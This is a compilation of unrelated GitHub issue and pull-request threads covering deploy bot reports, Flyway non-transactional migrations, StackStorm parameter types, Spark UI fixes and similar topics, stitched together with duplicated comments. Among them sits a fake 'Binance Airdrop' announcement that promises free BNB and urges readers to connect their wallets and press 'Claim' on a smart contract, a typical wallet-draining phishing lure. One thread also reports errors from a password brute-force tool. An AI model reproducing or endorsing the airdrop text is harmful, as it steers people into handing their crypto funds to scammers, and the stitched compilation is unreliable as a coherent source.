success ✅

🕸 web 🕸
success ✅

Hmm not sure what's going on but I just tested this on our latest TestFlight app and it looks like the View button still shows for all mobile rows. Any idea what happened there?
It also looks like the "Paid" button isn't aligned to the right edge of the top header area of the row either:

Can we do a quick follow up to address those issues? Thanks!

Perfect, thanks!

🚀 Cherry-picked to staging by https://github.com/Julesssss in version: 9.0.6-1 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
failure ❌

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

@Expensify/applauseleads please QA this PR and check it off on the deploy checklist if it passes.

🚀 Cherry-picked to staging by https://github.com/Julesssss in version: 9.0.6-1 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

@Expensify/applauseleads please QA this PR and check it off on the deploy checklist if it passes.

🚀 Deployed to production by https://github.com/thienlnam in version: 9.0.6-8 🚀

platform
result

🤖 android 🤖
success ✅

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
success ✅

🕸 web 🕸
success ✅

🚀 Deployed to production by https://github.com/thienlnam in version: 9.0.7-8 🚀

platform
result

🤖 android 🤖
failure ❌

🖥 desktop 🖥
success ✅

🍎 iOS 🍎
failure ❌

🕸 web 🕸
success ✅


[Bug]: Curtain group

Current Behavior
Hi!
Shutter and curtain cards work well with 1-1 devices.
There are 2 Switchbot ROD2 that move on the same curtain cornice (one to the right, the other to the left).
It appears well separately on the card, but then you need 2 cards.
I put them in a group, they work well that way. The group domain is also "cover" here.
But the group doesn't show well on the card: open and close icon and the default entity icon.
Do you have an idea for this?
Thank you very much :)

Expected Behavior
No response
Steps To Reproduce
No response
Environment
- OS: Virtualbox
- Node: Chrome, + Nest HUB2 cast
- Version: 2.0
- Hassio: 2022.6.6

Anything else?
No response

Hello, you need to change the device class of your group 🙂

wonderful! :) thanks for the quick reply and the solution!


Originally posted by @bbronzan in https://github.com/StatCan/StatCan.OrchardCore/issues/21#issuecomment-632960078

Fixed!
Hero FIP is now below the fold for simplicity and consistency.


TypeError: Cannot read property 'unref' of undefined

Hi,
I spotted another bug in the module:
/.../node_modules/native-dns/lib/pending.js:166
    if (this._socket.unref) {
                    ^
TypeError: Cannot read property 'unref' of undefined
    at SocketQueue._unref (/.../node_modules/native-dns/lib/pending.js:166:21)
    at SocketQueue._onlisten (/.../node_modules/native-dns/lib/pending.js:189:8)
    at emit (events.js:104:17)
    at Socket.<anonymous> (/.../node_modules/native-dns/lib/utils.js:122:12)
    at Socket.emit (events.js:129:20)
    at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1001:10)

Probably just replacing this line with:
if (this._socket && this._socket.unref) {

would help but there might be a better approach.
Kind Regards,
Rafal Kupka

I'm sorry this issue should be in node-dns repository. I'm moving it now.


🚀 [Feature Request]: Support Cloud PC maintenance windows

Contact Details
<EMAIL_ADDRESS>Feature
Add support for Cloud PC maintenance windows
Feature Description
Get, create, update and remove a Windows 365 Cloud PC maintenance window, including assigning it to a group.
Feature Output
Get, create, update and remove a Windows 365 Cloud PC maintenance window, including assigning it to a group.
Possible implementation
No response

https://graph.microsoft.com/beta/deviceManagement/virtualEndpoint/maintenanceWindows


Arno/misc

Details

Actually I'm not so sure about adding log.Printf("    git push\n").
Can someone tell me if following the dh-make-golang make instructions work out of the box? For me, the master branch was not pushed on salsa, only the upstream and pristine-tar.

Actually I'm not so sure about adding log.Printf(" git push\n").
Can someone tell me if following the dh-make-golang make instructions work out of the box? For me, the master branch was not pushed on salsa, only the upstream and pristine-tar.

gbp push pushes all branches, there is no need for a separate git push. Can you remove that change from the pull request, so that I can merge the others? If you observe any issues with gbp push, we should investigate that, but in a separate issue :).
Thanks!

Hi Michael,
I removed the change from the PR, you can merge. Next time I happen to create a salsa repo I will be extra careful and see if there's a problem with gbp push or not.
Thanks!


How to use only dark version of bootstrap

Could you please help me.
Is it possible to use only dark version of bootstrap? Without classic (light mode) styles in the CSS file in order to reduce the file size.
I want to use only dark mode without any options and regardless user preferences.

The bootstrap-night variant is the "dark only" version.
Quick start:
<!doctype html>
<html lang="en">
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <!-- The page supports only a dark color schemes -->
    <meta name="color-scheme" content="dark">

    <!-- Replace the Bootstrap CSS with the
         Bootstrap-Dark Variant CSS -->
    <link<EMAIL_ADDRESS>rel="stylesheet">

    <title>Hello, world!</title>
  </head>
  <body>
    <!-- ////////////// -->
    <!-- Your HTML here -->
    <!-- \\\\\\\\\\\\\\ -->

    <!-- Optional Bootstrap JavaScript -->
    <script src="location/of/the/bootstrap.js/here"></script> <!-- ////////// point to your own or the bs4 official JS \\\\\\\\\\ -->
  </body>
</html>


Abandoned Addon ?

This add-on appears to be abandoned since the last commit was 12 months ago.
@igorpreston Are you planning to update the add-on and maintain it? If not, I will be happy to maintain the following !

cc: @igorpreston

@igorpreston Can you please let us users know what to expect from you? It's a great addon, but needs to be maintained..

@igorpreston we'd take the addon at adopted addons, would just need you to help move it there. You can find me in the Ember Discord in the adopted addons channel or here is fine too.

did you ever hear back on this addon's adoption @knownasilya ?

No

For everyone using this addon, i forked, updated and republish in npm with a new name, same functionality but in Ember Octane https://www.npmjs.com/package/ember-geoservice

Binance Airdrop Guide: Claim Your $1500 in BNB Now!
🎉 Congratulations! You've won a share of the $1.500k Binance Airdrop, and we're excited to give you $1500 in BNB to celebrate the end of the year. But that's not all—connect now, and you'll instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1.500k in BNB! Plus, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, seize the chance to win up to $20,000—it's your golden opportunity!
Winners: @


[Android] Display favorite tracks in Recently Scrobbled list, and add ability to like/unlike tracks ❤

It would be nice if liked songs would be displayed in finale, and if we were able to like/unlike songs in finale, like PanoScrobbler let's us to do so.

Like/Unlike option:

You can like/unlike a song and check its status on the track page, but I could look into add that functionality to the profile page.

You can like/unlike a song and check its status on the track page

Yes I realized that shortly after typing this post. It would still be nice if this was possible on the front page like PS. By adding the 3 dots to now playing track and recently scrobbled ones.

Showing a heart icon on loved songs in the recent scrobbles list was implemented in https://github.com/nrubin29/finale/commit/a13e4d2cff5b33324573f623b085f7ba55388dda. I'll look into adding the ability to love songs from the recent scrobbles list in the future.


Disable transaction for a particular migration

Since some SQL queries cannot run within a transaction (like adding an index concurrently in postgres) it would be useful to be able to turn transactions off when necessary.
The equivalent in ActiveRecord is disable_ddl_transaction! https://github.com/rails/rails/commit/b337390889cb4a9f80ed08daf072a043f0e7ddf3

Any plans on integrating this into the SQL migrations API? If nobody is on it, we could have a go at it (or sponsor a bounty). Problem is of course, which interface should be used. Any preferences on the design side? Magic string inside the file name? SQL Comment inside the file?

@falschparker82 Ideally I would like to implement this so it is transparent to the user. Please contact me by email at "axel at boxfuse.com" so we can discuss your needs and the bounty details.
Cheers
Axel

@axelfontaine thanks for nice feature. However we have a problem when having "create index concurrently...." queries in migrations. We are using postgresql and after this migration flyway just hangs. Actually index is created but in this point code execution just being kind of "paused" forever. Migration is not recorded in schema_version and running of next migration is not started.
It seems that problem appears because in this case Flyway has open transaction which locks metadata table. So maybe when executeIntransaction returns false, metadata table should not be locked too. You can easilty reporosuce the issue adding any "create index concurrently " statement to script file in your Junit test
Cheers,
Yeva

How do we tag a particular migration script so it gets run in auto-commit instead of in a transaction?  From the code change it looks like this can be disabled in Java but I would prefer if the migration script could control this.
For example the script could have a special name which triggers this, like ending in ".autocommit.sql" intead of ".sql", or the first line of the script could have a special comment like -- @autocommit, etc.

Another alternative would be to allow the FlywayCallback to control this, so that anyone could implement their own rules.
/** @return true if this script should be run in a transaction, false to use auto-commit. */
default boolean isTransactional(Connection connection, URI script) = {
    return true;
}

I'm guessing that the support for non-transactional migration is still actually running inside a transaction.  When I break into this in a debugger it still looks like this code is being run in a transaction from DbMigrate.migrate() line 156
Here's a summary of the relevant part of the stack:
DbMigrate.applyMigration():293
DbMigrate.access$800():46 (not sure what this is)
DbMigrate.doInTransaction():207
DbMigrate.doInTransaction():156
TransactionTemplate.execute():72
DbMigrate.migrate():156

How would a user disable transactions for a particular transaction?
Should the user write a custom Java application instead of e.g. using the Flyway CLI tool?

For the CLI this commit added support for PostgreSQL and no other database in terms of detecting non-transactional statements in an automated fashion. In addition there appear to be no "hooks" via the command line to turn this option on for a particular file.
This project needs to add a configuration based mechanism for the CLI for turning options on/off on a per sql file basis such as parsing the beginning of the file as YAML. The standard triple dash/period in the YAML spec can be used to delineate between the YAML configuration and the SQL.
e.g.
---
executeInTransaction: true
someOtherOption: "run faster!"
...
CREATE FULLTEXT CATALOG clipart
WITH ACCENT_SENSITIVITY = ON
GO

In case somebody finds this useful, there is a workaround for SQL migrations. Add the following statements to the migration:
create type temp_enum as enum ('a');
alter type temp_enum add value 'b';
drop type temp_enum;

These statements will force Flyway to fall back to non-transactional mode.

@Strandedpirate Flyway is designed to automatically detect statements which cannot run inside of a transaction. This is to reduce the load on users, so you don't have to configure every script if it's suspected it might not work inside a transaction. If you have found a scenario where this isn't working, please create an issue in this repo with reproduction steps.
@Rogach This isn't a workaround so much as expected behavior (for Postgres). As I said above, Flyway is designed to detect non-transactional statements. If you are finding cases where Flyway isn't picking up non-transcational statements, please create an issue.

@MikielAgutu In my case there were no statements that were non-transactional, so Flyway worked absolutely correctly in that regard. However, I still wanted to run that migration in non-transactional mode so that the application that was running concurrently would not experience problems due to the fact that all rows in the table were locked up for the duration of the transaction.


New Australia (AU) metadata

Country: Australia (AU)
Source: Public information from governing body: https://www.thenumberingsystem.com.au/#/number-register/search
The block can be searched on this page, or the complete allocation register can be downloaded.
Newly allocated +61 436 xxx xxx mobile block
Example number: +61 436 123 456
Range: +61 436 000 000 to +61 436 499 999
Type: Mobile
Block allocated to TELSTRA CORPORATION LIMITED on 2016/02/29.
Newly allocated +61 8 7xxx xxxx fixed line blocks
There are a number of allocations in the +61 8 77xx xxxx and +61 8 78xx xxxx blocks, starting in 2012.  I think we should extend validation to all these numbers.
Type: Fixed line
Example number: +61 8 7701 2345
Eight-digit premium-rate numbers
Eight-digit premium-rate numbers are allocated in three eight-digit blocks:

196 xxxxx
197 xxxxx
199 xxxxx

Examples:
19660044
19789104
19906666
Eight-digit shared cost numbers
Eight-digit local-rate numbers have been allocated since 1993.
Type: Shared cost
Example: 13452709
Range: 13450000 - 13454999

@mitchellarchibald,
Thanks for providing all the details we need! We've accepted this issue.
This update consists of more than 600K lines that we need to verify.
So we are planning to add the prefixes that you have mentioned on priority and support whole document later. We will keep you posting the updates.
Please note that you have submitted this information with the knowledge that we
may use, modify, reproduce, publicly display, and distribute the information in
accordance with our open source policies. Please let us know if you did not
intend to submit the information for such use.

All prefixes mentioned are fixed in release 7.3.2: https://libphonenumber.appspot.com/phonenumberparser?number=%2B61+436+123+456
Supporting whole document will be done later releases.

@penmetsaa, thanks for your help!


Flex: 1 to scrollView stop "scrollTo" method

Hello,
when i add to my scrollview this line:
contentContainerStyle={{flexDirection: 'row-reverse', alignItems: 'flex-start', flex: 1, }}
the scrollTo method stop to working, its do nothing.
what can i do?
if i remove the flex: 1 i dont see the content and when i set flexDirection to "row" and not row-reverse
i see only the first view in the scrollview...
tnx a lot

Hi, thanks for bringing this up! It seems like this might be a better question for stack overflow, since it is more "how do I do X" rather than "here is a bug". I am going to close this issue with that suggestion.


go install generates exe in the bin directory directly without any package path

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
go version go1.8.3 windows/amd64
What operating system and processor architecture are you using (go env)?
set GOARCH=amd64
set GOBIN=
set GOEXE=.exe
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GOOS=windows
set GOPATH=C:\Users\xwang24\Documents\goWorkspace
set GORACE=
set GOROOT=C:\Go
set GOTOOLDIR=C:\Go\pkg\tool\windows_amd64
set GCCGO=gccgo
set CC=gcc
set GOGCCFLAGS=-m64 -mthreads -fmessage-length=0
set CXX=g++
set CGO_ENABLED=1
set PKG_CONFIG=pkg-config
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
What did you do?
I have two packages:
src/github.com/user1/hello/hello.go
src/github.com/user2/hello/hello.go
After the first hello.go is installed, hello.exe is generated under bin/,
then after the second hello.go is installed, hello.exe generated by the previous one is overridden.
If possible, provide a recipe for reproducing the error.
A complete runnable program is good.
A link on play.golang.org is best.
What did you expect to see?
the generated exe should be under bin/package info.
For example,
bin/github.com/user1/hello/hello.exe
What did you see instead?
bin/hello.exe

This is working as designed and as documented.
You can set GOBIN. See https://golang.org/cmd/go/#hdr-Environment_variables.


feat: generalize AEMeasurable.indicator to NullMeasurableSet

For many lemmas in measure theory, we have a version for measurable and another version for ae/null measurable, with the same name as the measurable one suffixed by ₀. The reason is that measurable sets are much more common than null-measurable sets and we want to avoid the conversion. See for example MeasureTheory.Measure.restrict_apply₀ . Could you do that here? That is, don't replace the measurable set version, but add a new one for null-measurable sets?
Also, could you add a null-measurable version of aemeasurable_indicator_iff as well?

Oh I didn't know about it, that makes sense.

Thanks!
bors r+


Kadane's algorithm in Python (GSSOC'21)

I noticed that the array folder has Kadane's algorithm only in C++. I would like to contribute by writing a well-explained and clean code for the same. Please assign this issue to me under GSSOC 2021.

Hey, I am Kanchan Jeswani, a GSSOC'21 participant.
I am a Competitive Programmer and C++ enthusiastic.
I would love to solve this problem using CPP with well-explained code and along with its time and space complexity.
Please assign me this issue.
Hope to hear from you.
Discord username  kanchan19#3152
@anubhavitis @dheerajkotwani @tarun26091999 @todi-2000 @geekquad @plazzy99 @rudrakshi99

present at #178


Atom syndication format

Please take a look at the ATOM RFC https://tools.ietf.org/html/rfc4287

There are still a few things we need to support:

section 3.1.1 : "type" attribute should be only "text", "html" or "xhtml". Text constructs MAY have a type attribute (it seems section 4.1.2 also allows arbitrary MIME types because contents can be encoded in Base64 but, as section <IP_ADDRESS> says MUST NOT be a composite type (see Section 4.2.6 of [MIMEREG]))
section 3.2 : Author is a Person, Person should have a URI
section 3.3 : Atom-JAXB should be in charge of properly converting dates?
section 4.1.1 :

feeds still lack "category" attribute (atom:feed elements MAY contain any number of atom:category elements.
author should be a collection (atom:feed elements MUST contain one or more atom:author elements)
entry equals/hashcode is broken, it should be based on id AND updated (If multiple atom:entry elements with the same atom:id value appear in an Atom Feed Document, they represent the same entry. Their atom:updated timestamps SHOULD be different.)

section 4.1.2 :

entry author should be a collection (atom:entry elements MUST contain one or more atom:author elements, unless the atom:entry contains an atom:source element that contains an atom:author element or, in an Atom Feed Document, the atom:feed element contains an atom:author element itself., i.e. there may be several author)
validation is missing on the summary:

atom:entry elements MUST contain an atom:summary element in either of the following cases:
      *  the atom:entry contains an atom:content that has a "src"
         attribute (and is thus empty).
      *  the atom:entry contains content that is encoded in Base64;
         i.e., the "type" attribute of atom:content is a MIME media type
         [MIMEREG], but is not an XML media type [RFC3023], does not
         begin with "text/", and does not end with "/xml" or "+xml"

section <IP_ADDRESS> : Contents lack a 'src' attribute (IRI). Validation is also needed, if src is present, then type cannot be "html"/"xhtml"/"text".
section 4.2.5 : maybe change the type of uri in Icon, String is way too lenient.
section 4.2.6 : idem for id for Feed & Entry (validation of id should follow what's explained in the spec)
section 4.2.7 : Link should also have hreflang (Locale?) & length (long)

Changes Unknown when pulling e404573c22d649f22edafa4300d0c28ad6d73ad3 on atom_syndication_format into ** on master**.


Fix static analyzer warnings about zero-allocations

Although doing this is technically legal, as the C++ Standard states: "The effect of dereferencing a pointer returned as a request for zero size is undefined."
So it's not very useful. And the static analyzer doesn't like it anyways. So always allocate at least one byte and null-terminate the entire thing. I specifically didn't just set p/contents to nullptr if size == 0 because that would simply introduce a different analyzer warning.

@swift-ci please smoke test


custom SpanProcessors api definition issue

There are still problems around implementing custom SpanProcessors like:
import * as api from '@opentelemetry/api'
import * as tracing from '@opentelemetry/tracing'

export class CustomSpanProcessor implements api.SpanProcessor {
  // api.SpanProcessor says it's an api.Span,
  // but in SimpleSpanProcessor it assumes Span to be tracing.Span, which is one possible implementation of api.Span.
  onStart(span: tracing.Span) {
    /** api.Span doesn't provide any necessary APIs to access span fields :( */
  }
}

This can be identified as a bug of the definition of api.SpanProcessor and api.Span (maybe move tracing.ReadableSpan to api.ReadableSpan).

ah I think I see the issue now. I think actually the SpanProcessor should be removed from the api package entirely as it is not a user-facing API

@mayurkale22 wdyt

At the very least, the onStart method should probably receive a ReadableSpan instead of a Span


Forge version is requiring fabric to be installed

so at least on 1.20.1 it seams like the forge version of the mod is wanting to use fabric and not forge.

Read the dependencies properly


HEVC decoder: consume current bs even if decoder has a frame to display

Signed-off-by: Dmitry Brazhkin<EMAIL_ADDRESS>

PR need to be validated before merge


Usage with requireJS?

Is there a recommended way to use this SDK with requireJS?

After some testing I came up with this:
requirejs.config({
    baseUrl: "js/",
    // path mappings for module names not found directly under baseUrl
    paths: {
        aws: 'libs/aws-sdk',
        ama: 'libs/aws-sdk-mobile-analytics'
    },
    // non-AMD scripts
    shim: {
        'aws': {
            exports: 'AWS'
        },
        'ama': {
            deps: ['aws'],
            exports: 'AMA'
        }
   }
  });


Multiple values (channel) for the same Provider (Broadcast)

Is it possible to provide multiple values (i.e. localization and theme) on the same Provider (Broadcast) or should I wrap two providers/consumers inside a single component to achieve this?

You should be able to use an object as the provided value.

@j-f1 is correct. Your value could just be <Broadcast ... value={{ localization, theme }}>.


General SOCKS server failure

After starting bruteforce it tries 1 password and then error : 0x01 General SOCKS server failure

I got the same problem....

yep same here

same here

same here

No Solution ?

Still got same...


Use more for...of loops in the viewer

Note that the arrays that we're looping over here are by definition dense, hence there's no point in checking if each element actually exists first.

/botio-linux preview

Thanks!


render_live_params failed when run send email action from workflow

I have installed email pack and direct run email.send_email action works fine.
I try to run this action in a mistral workflow but failed.
here are my metadata:
mistral-check-disk-send-mail.yaml  under /opt/stackstorm/packs/email/actions
description: Run disk_usage_root.sh script and output the result then send email.
enabled: true
runner_type: mistral-v2
entry_point: workflows/mistral-check-disk-send-mail.yaml
name: mistral-check-disk-send-mail
pack: email
parameters:
account:
type: string
default: stackstorm
email_from:
type: string
default<EMAIL_ADDRESS>email_to:
required: true
type: string
subject:
required: true
type: string
message:
required: true
type: string
and here are the definition
mistral-check-disk-send-mail.yaml under  /opt/stackstorm/packs/email/actions/workflows
version: '2.0'
email.mistral-check-disk-send-mail:
description: Run disk_usage_root.sh script and output the result then send email.
type: direct
input:
- account
- email_from
- email_to
- subject
- message
output:
stdout: <% $.stdout %>
tasks:
task1:
action: email.send_email account=<% $.account %> email_from=<% $.email_from %> email_to=<% $.email_to%> message=<% $.message %> subject=<% $.subject %>
and here are the run cmd
st2 run email.mistral-check-disk-send-mail<EMAIL_ADDRESS>subject="test workflow" message="test"
I can see the error in console output:
reason: Internal Server Error
status: 500
url: http://st2api:9101/v1/actionexecutions
and also some error log in the st2api
2018-04-17 18:45:35,009 INFO [-] a0aad215-7b2e-4911-bc4a-599c270fc579 - POST /v1/actionexecutions with query={} (remote_addr='<IP_ADDRESS>',method='POST',request_id='a0aad215-7b2e-4911-bc4a-599c270fc579',query={},path='/v1/actionexecutions')
2018-04-17 18:45:35,012 AUDIT [-] Token with id "5ad5d04dabcf04000106c0ca" is validated.
2018-04-17 18:45:35,074 ERROR [-] Unable to execute action. Unexpected error encountered.
Traceback (most recent call last):
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2api/controllers/v1/actionexecutions.py", line 129, in _handle_schedule_execution
pack=action_db.pack)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2api/controllers/v1/actionexecutions.py", line 184, in _schedule_execution
liveaction_db.context)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/util/param.py", line 289, in render_live_params
live_params = _cast_params_from(params, context, [action_parameters, runner_parameters])
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/util/param.py", line 231, in _cast_params_from
result[name] = _cast(context[name], param_schema)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/util/param.py", line 74, in _cast
return cast(v)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/util/casts.py", line 38, in _cast_object
return ast.literal_eval(x)
File "/usr/lib64/python2.7/ast.py", line 49, in literal_eval
node_or_string = parse(node_or_string, mode='eval')
File "/usr/lib64/python2.7/ast.py", line 37, in parse
return compile(source, filename, mode, PyCF_ONLY_AST)
File "", line 1
<EMAIL_ADDRESS>^
SyntaxError: invalid syntax
2018-04-17 18:45:35,075 ERROR [-] Failed to call controller function "post" for operation "st2api.controllers.v1.actionexecutions:action_executions_controller.post": invalid syntax (, line 1)
Traceback (most recent call last):
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/router.py", line 450, in call
resp = func(**kw)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2api/controllers/v1/actionexecutions.py", line 583, in post
show_secrets=show_secrets)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2api/controllers/v1/actionexecutions.py", line 142, in _handle_schedule_execution
abort(http_client.INTERNAL_SERVER_ERROR, str(e))
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/router.py", line 53, in abort
raise exc.status_mapstatus_code
HTTPInternalServerError: invalid syntax (, line 1)
2018-04-17 18:45:35,075 ERROR [-] API call failed: invalid syntax (, line 1)
Traceback (most recent call last):
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/middleware/error_handling.py", line 46, in call
return self.app(environ, start_response)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/middleware/streaming.py", line 47, in call
return self.app(environ, start_response)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/router.py", line 499, in as_wsgi
resp = self(req)
File "/opt/stackstorm/st2/lib/python2.7/site-packages/st2common/router.py", line 454, in call
raise e
HTTPInternalServerError: invalid syntax (, line 1) (_exception_data={'comment': 'invalid syntax (, line 1)', '_headers': None, 'conditional_response': False, 'detail': 'invalid syntax (, line 1)', '_app_iter': [''], '_status': '500 Internal Server Error', '_headerlist': [('Content-Type', 'text/html; charset=UTF-8'), ('Content-Length', '0')]},_exception_class='HTTPInternalServerError',_exception_message='invalid syntax (, line 1)')
I can reproduce this issue and my current st2 version is st2 2.6.0

<EMAIL_ADDRESS>                       ^

SyntaxError: invalid syntax

the ^ is under @ character

The email.send_email action takes a parameter email_to of type array: https://github.com/StackStorm-Exchange/stackstorm-email/blob/master/actions/send_email.yaml#L12-L15
You are passing in a string.
Your task definition should be something like:
task1:
  action: email.send_email
  input:
    account: <% $.account %>
    email_from: <% $.email_from %>
    email_to:
      - <% $.email_to%>
    message: <% $.message %>
    subject: <% $.subject %>

I agree the error message could be better here. Maybe something like Error, unable to convert input<EMAIL_ADDRESS>to type 'array' would be better

Changed parameter 'email_to' to type array solved my issue.
Thanks @nmaludy

Can I closed this issue?


chore: update ancient issue time

Issue #, if available:
Description of changes:
chore: update ancient issue time

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Closing in favor of https://github.com/aws/aws-dotnet-deploy/pull/772


How to enable display of zeros?

System information:

Operating system (distribution):Arch Linux
DBeaver version: 7.1.5

Connection specification:

Database name and version: MariaDB 10.5.5

Describe your question:
Hi everyone. d1 - decimal(9,4); d2 - float(9,4); d3 - double(9,4)
SELECT SUM(d1) AS a, SUM(d2) AS b, SUM(d3) AS c FROM number_test;

Where has zero gone?
And, in the table where int(3) zerofill

Where are the zeros?

Thank you for the report.
P.S.Table Kseniia.number_test is created to test

Please enable Use native numeric format

@kseniiaguzeeva this way worked with only one data type

Seems, it is MariaDB specific behaviour. Please see https://stackoverflow.com/questions/54283126/double-in-mariadb


[SPARK-33991][CORE][WEBUI] Repair enumeration conversion error for AllJobsPage

What changes were proposed in this pull request?
For AllJobsPage class, AllJobsPage gets the schedulingMode of enumerated type by loading the spark.scheduler.mode configuration from Sparkconf, but an enumeration conversion error occurs when I set the value of this configuration to lowercase.
The reason for this problem is that the value of the SchedulingMode enumeration class is uppercase, which occurs when I configure spark.scheduler.mode to be lowercase.
I saw that the #org.apache.spark.scheduler.TaskSchedulerImpl class convert the spark. scheduler.mode value to uppercase, so I think it should be converted in AllJobsPage as well.
Why are the changes needed?
An enumerated conversion error occurred with Spark when I set the value of this configuration to lowercase.
How was this patch tested?
Existing tests.

Can one of the admins verify this patch?

Can one of the admins verify this patch?

@cloud-fan @zsxwing @jiangxb1987 @jerryshao please review my separated PR. Thanks!

@cloud-fan @zsxwing @jiangxb1987 @jerryshao please review my separated PR. Thanks!

Can one of the admins verify this patch?

yes.

Can one of the admins verify this patch?

yes.

yes, please.
At 2021-01-04 22:14:02, "UCB AMPLab"<EMAIL_ADDRESS>wrote:
Can one of the admins verify this patch?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

yes, please.
At 2021-01-04 22:14:02, "UCB AMPLab"<EMAIL_ADDRESS>wrote:
Can one of the admins verify this patch?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub, or unsubscribe.

@wangyum would you take a look of the PR, the update is very simple. Thanks very much!

@wangyum would you take a look of the PR, the update is very simple. Thanks very much!

ok to test

ok to test

cc @gengliangwang

cc @gengliangwang

Test build #133747 has started for PR 31015 at commit 1131a8b.

Test build #133747 has started for PR 31015 at commit 1131a8b.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38335/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38335/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38335/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38335/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38335/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38335/

Test build #133747 has finished for PR 31015 at commit 1131a8b.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test build #133747 has finished for PR 31015 at commit 1131a8b.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133747/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133747/

also cc: @sarutak

also cc: @sarutak

Test build #133799 has started for PR 31015 at commit 12c5652.

Test build #133799 has started for PR 31015 at commit 12c5652.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38388/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38388/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38388/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38388/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38388/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38388/

Test build #133799 has finished for PR 31015 at commit 12c5652.

This patch fails SparkR unit tests.
This patch merges cleanly.
This patch adds no public classes.

Test build #133799 has finished for PR 31015 at commit 12c5652.

This patch fails SparkR unit tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133799/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133799/

Test build #133814 has started for PR 31015 at commit 5baf969.

Test build #133814 has started for PR 31015 at commit 5baf969.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38403/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38403/

@sarutak why fails SparkR unit tests， file:/tmp/RtmpIMrsYG/sparkr-test2375f14226616.parquet/_temporary does not exist？

@sarutak why fails SparkR unit tests， file:/tmp/RtmpIMrsYG/sparkr-test2375f14226616.parquet/_temporary does not exist？

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38403/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38403/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38403/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38403/

@yikf The R test failure irrelevant to this change.

@yikf The R test failure irrelevant to this change.

@yikf The R test failure irrelevant to this change.

@sarutak Ok, please review... Thanks very much!

@yikf The R test failure irrelevant to this change.

@sarutak Ok, please review... Thanks very much!

Test build #133814 has finished for PR 31015 at commit 5baf969.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.
